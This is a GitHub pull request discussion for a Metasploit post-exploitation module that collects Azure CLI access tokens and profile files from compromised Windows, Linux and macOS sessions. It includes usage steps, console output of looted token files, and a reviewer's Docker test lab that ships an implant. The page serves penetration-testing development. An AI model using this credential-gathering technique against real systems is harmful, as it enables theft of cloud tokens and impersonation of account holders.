Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add post module to steal azure cli tokens/configuration #10113

Merged
merged 13 commits into from
Jul 3, 2024

Conversation

james-otten
Copy link
Contributor

@james-otten james-otten commented May 30, 2018

Add a post module, post/multi/gather/azure_cli_creds, to steal Azure CLI configuration files which can be used to impersonate the user when working with Azure from a different host.

Installation instructions

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Get a meterpreter session on a windows, linux, or osx machine
  • use post/multi/gather/azure_cli_creds
  • set SESSION [SESSION_ID]
  • run
  • Verify any available configuration files are looted
  • Verify a summary of the items looted is displayed

Scenarios

msf5 exploit(multi/script/web_delivery) > use post/multi/gather/azure_cli_creds
msf5 post(multi/gather/azure_cli_creds) > options

Module options (post/multi/gather/azure_cli_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf5 post(multi/gather/azure_cli_creds) > set SESSION 2
SESSION => 2
msf5 post(multi/gather/azure_cli_creds) > run

[+] /home/james/.azure/accessTokens.json stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.jwt_tok_029844.txt
[+] /home/james/.azure/azureProfile.json stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.azure_p_897386.txt
[+] /home/james/.azure/config stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.config_976372.txt
Subscriptions
=============

Source                                Account Name                      Username                       Cloud Name
------                                ------------                      --------                       ----------
/home/james/.azure/azureProfile.json  XXXXXXXXXXXXXXXXXXXXXXXXX         XXXXXXXXXXX@XXXXXXXXXXXX.com  AzureCloud

Tokens
======

Source                                Username                       Count
------                                --------                       -----
/home/james/.azure/accessTokens.json  XXXXXXXXXXX@XXXXXXXXXXXX.com   2

[*] Post module execution completed
msf5 post(multi/gather/azure_cli_creds) > set VERBOSE 1
VERBOSE => true
msf5 post(multi/gather/azure_cli_creds) > set SESSION 8
SESSION => 8
msf5 post(multi/gather/azure_cli_creds) > run

[*] Looking for az cli data in C:\Users\Administrator
[*] Found az cli file C:\Users\Administrator/.azure/accessTokens.json
[+] C:\Users\Administrator/.azure/accessTokens.json stored to /home/james/.msf4/loot/20180528233156_default_192.168.1.55_azurecli.jwt_tok_735864.txt
[*] Found az cli file C:\Users\Administrator/.azure/azureProfile.json
[+] C:\Users\Administrator/.azure/azureProfile.json stored to /home/james/.msf4/loot/20180528233156_default_192.168.1.55_azurecli.azure_p_885038.txt
[*] Found az cli file C:\Users\Administrator/.azure/config
[+] C:\Users\Administrator/.azure/config stored to /home/james/.msf4/loot/20180528233157_default_192.168.1.55_azurecli.config_757017.txt
Subscriptions
=============

Source                                           Account Name                      Username                       Cloud Name
------                                           ------------                      --------                       ----------
C:\Users\Administrator/.azure/azureProfile.json  XXXXXXXXXXXXXXXXXXXXXXXXX         XXXXXXXXXXX@XXXXXXXXXXXX.com   AzureCloud

Tokens
======

Source                                           Username                       Count
------                                           --------                       -----
C:\Users\Administrator/.azure/accessTokens.json  XXXXXXXXXXX@XXXXXXXXXXXX.com   2

[*] Post module execution completed

@james-otten
Copy link
Contributor Author

I can add support for OSX very easily if anyone is able to test on that platform.

@timwr
Copy link
Contributor

timwr commented May 30, 2018

I'm happy to test on OSX if you need

@acammack-r7 acammack-r7 added the attic Older submissions that we still want to work on again label Dec 5, 2018
@acammack-r7 acammack-r7 self-assigned this Dec 15, 2018
@acammack-r7
Copy link
Contributor

Hey @james-otten, I'm sorry this has been left sitting! To help us understand which PRs are in active development, I am closing this for now and adding the attic label so we don't lose track of it. You can learn about our new PR label on our wiki. @timwr did you get a chance to test this on OS X? I have pulled this in to test on Linux, and I'll reopen with feedback or land once this is tested.

@timwr
Copy link
Contributor

timwr commented Dec 15, 2018

Apologies for missing this. I'll give this a quick test on OSX. Code looks great

@timwr
Copy link
Contributor

timwr commented Dec 15, 2018

Seems to work well on OSX.

@h00die
Copy link
Contributor

h00die commented May 30, 2024

What ever happened to this? From my reading it looks like @james-otten wrote a module, @timwr tested it and it worked on OSX, and it just never got tested for windows/linux? If nothing else, it looks like it should have worked on Windows at the very least and been tested/landed for that?

According to my notes, this had a solid 3yrs of potential use before the CLI updated: azcli (before 2.30.0 –January 2022) stores access tokens in clear text in accessTokens.json in the directory C:\Users\<username>\.Azure.

I'm not sure how useful it may be now, its been almost 2.5yrs since the patch, but maybe to show that these tokens are still around in people's users directories? Maybe some have long term usage?

@adfoster-r7
Copy link
Contributor

@h00die If you've got an azure target and this works/is useful for you, I'm not against it being merged in?

@h00die h00die assigned h00die and unassigned acammack-r7 Jun 3, 2024
@h00die h00die removed the attic Older submissions that we still want to work on again label Jun 3, 2024
@h00die
Copy link
Contributor

h00die commented Jun 3, 2024

azcontext.json
Here's an example file I generated today via Save-AzContext. I'll investigate later if it's the same format or not

@h00die h00die reopened this Jun 3, 2024
@h00die
Copy link
Contributor

h00die commented Jun 3, 2024

Looks like the file has changed. Of note, Contexts is the root level key with all the info we'll want to grab.

@h00die
Copy link
Contributor

h00die commented Jun 3, 2024

@james-otten you still around? Any chance you could provide an old copy of the data files that were generated?

@h00die h00die marked this pull request as draft June 4, 2024 23:44
@h00die
Copy link
Contributor

h00die commented Jun 4, 2024

pushing back to draft while I update this for the new formats, test on old formats if i can still get them, etc.

@h00die
Copy link
Contributor

h00die commented Jun 5, 2024

going to move the parsing out to a lib so we can have some spec to run with it. I have a few self generated new format files that I'll start building out, then get back to the old version. Ignore these pushes for now. @james-otten just checking again if you have the old formats laying around before I build out a VM and try to install the old versions.

@h00die
Copy link
Contributor

h00die commented Jun 5, 2024

and TokenCache.dat

Update azure lib with process_context_contents

Update azure_spec.rb

Update azure.rb

Update azure_spec.rb

Update azure_cli_creds.rb

fix lint warning

add function to print consolehost_history

print_consolehost_history spec updates

fixing azure_cli spec, and errors
@h00die
Copy link
Contributor

h00die commented Jun 7, 2024

@h00die
Copy link
Contributor

h00die commented Jun 17, 2024

Still a little more to go:

  • transcripts
  • save creds to db
  • verify against OLD azure
  • TokenCache.dat
  • move processors to lib
  • specs
  • try with new azure data files
  • add parsing of ConsoleHost_history.txt

@h00die
Copy link
Contributor

h00die commented Jun 17, 2024

What I have so far though it working great against some multi-tenant, multi-account type azure files I have on hand (can't share), so making some really nice progress.

@h00die
Copy link
Contributor

h00die commented Jun 24, 2024

Going to open this up for review, I think its as good as I'm going to get it in the time I have to spend on it.

@h00die h00die marked this pull request as ready for review June 24, 2024 21:07
@dledda-r7 dledda-r7 requested review from dledda-r7 and removed request for dledda-r7 June 25, 2024 11:34
@dledda-r7 dledda-r7 self-assigned this Jun 25, 2024
@dledda-r7
Copy link
Contributor

Hi @h00die,
I'm having some issues getting the module work, not sure if I am doing something wrong.
I tried to use it against an old version of azure, using a docker container.

Docker file

#from bitnami/azure-cli:2.32.0
from bitnami/azure-cli:2.35.0
#from bitnami/azure-cli:latest
USER root

# resetting root password
SHELL ["/bin/bash", "-o", "pipefail", "-c"]
RUN echo 'root:toor' | chpasswd

# adding low privilege user
ARG USERNAME=user
ARG USER_UID=1000
ARG USER_GID=$USER_UID
RUN groupadd --gid $USER_GID $USERNAME \
    && useradd --uid $USER_UID --gid $USER_GID -r -m $USERNAME 
SHELL ["/bin/bash", "-o", "pipefail", "-c"]
RUN echo 'user:password' | chpasswd

# transfering the implant
COPY ./mettle /home/user/mettle

# entrypoint setup
USER $USERNAME
ENV HOME=/home/user
WORKDIR /home/user
ENTRYPOINT ["/bin/bash"]

Azure Account

user@22136b013273:~$ az account list
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
    "id": "XXXXXXXXXXXXXXXXXXXXXXXXXXX",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Azure subscription 1",
    "state": "Enabled",
    "tenantDefaultDomain": "XXXXXXXXXX",
    "tenantDisplayName": "Rapid7",
    "tenantId": "XXXXXXXXXXXXXXXXXX",
    "user": {
      "name": "XXXXXXXXXXX",
      "type": "user"
    }
  }
]

Module Output

msf6 post(multi/gather/azure_cli_creds) > set session -1
session => -1
msf6 post(multi/gather/azure_cli_creds) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: ...
[*] az cli version: 2.35.0
[*] Post module execution completed
msf6 post(multi/gather/azure_cli_creds) > 

I will try to attach a debugger and see what is the issue.

@h00die
Copy link
Contributor

h00die commented Jun 26, 2024

can you set verbose true and run again? That will narrow down a user directory problem, vs a can't find file problem, etc

@dledda-r7
Copy link
Contributor

dledda-r7 commented Jun 26, 2024

I think I have found the issue.
This is the content of my .azure folder

az.json  
azureProfile.json  
commandIndex.json  
config  
msal_http_cache.bin   
telemetry      [dir]
versionCheck.json
az.sess 
clouds.config 
commands [dir]
logs [dir]
msal_token_cache.json
telemetry.txt

And I see from the code you are looking for accessTokens.json which I don't have, but I do have azureProfile.json.

@h00die
Copy link
Contributor

h00die commented Jun 26, 2024

regardless, it should keep going, that's why I'd like to see the verbose output (I don't have a dev env handy to try myself)

@dledda-r7
Copy link
Contributor

[*] az cli version: 2.32.0
[*] Looking for az cli data in /bin
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /dev
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /home/user
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /nonexistent
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /root
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /usr/games
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /usr/sbin
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/backups
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/cache/man
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/lib/gnats
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/list
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/mail
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/run/ircd
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/spool/lpd
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/spool/news
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/spool/uucp
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Looking for az cli data in /var/www
[*]   Checking for config files
[*]   Checking for context files
[*]   Checking for profile files
[*] Post module execution completed

Azure path is here: /home/user/.azure

@h00die
Copy link
Contributor

h00die commented Jun 27, 2024

looks like it was a slash direction problem on linux vs windows. was able to diagnose, get it running right with your docker image, and verify it still works on windows.

@dledda-r7
Copy link
Contributor

Yep I was investigating the same issue today and writing you some comments.
Would be also nice to test with an old azure-cli version on windows but I am not sure we can get the binaries.

@h00die
Copy link
Contributor

h00die commented Jun 27, 2024

I had found one repo on the internet that had an old MSI, but that's nearly as sketchy as you can get. I could do a run against that, but it prob wont be for a week and a half or so

@dledda-r7
Copy link
Contributor

Yeah that seems a terrible idea, I'll try to find a workaround on that.

@dledda-r7
Copy link
Contributor

dledda-r7 commented Jun 28, 2024

looks like it was a slash direction problem on linux vs windows. was able to diagnose, get it running right with your docker image, and verify it still works on windows.

Yep confirmed is working, trying to find a way to test in old azure-cli on Windows.
https://community.chocolatey.org/packages/azure-cli#versionhistory this seems promising

@dledda-r7 dledda-r7 merged commit 1e0db9e into rapid7:master Jul 3, 2024
65 checks passed
@dledda-r7 dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 3, 2024
@dledda-r7
Copy link
Contributor

dledda-r7 commented Jul 3, 2024

Release Notes

This post module allows to exfiltrate azure tokens and configurations from old azure-cli versions using unencrypted formats.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

6 participants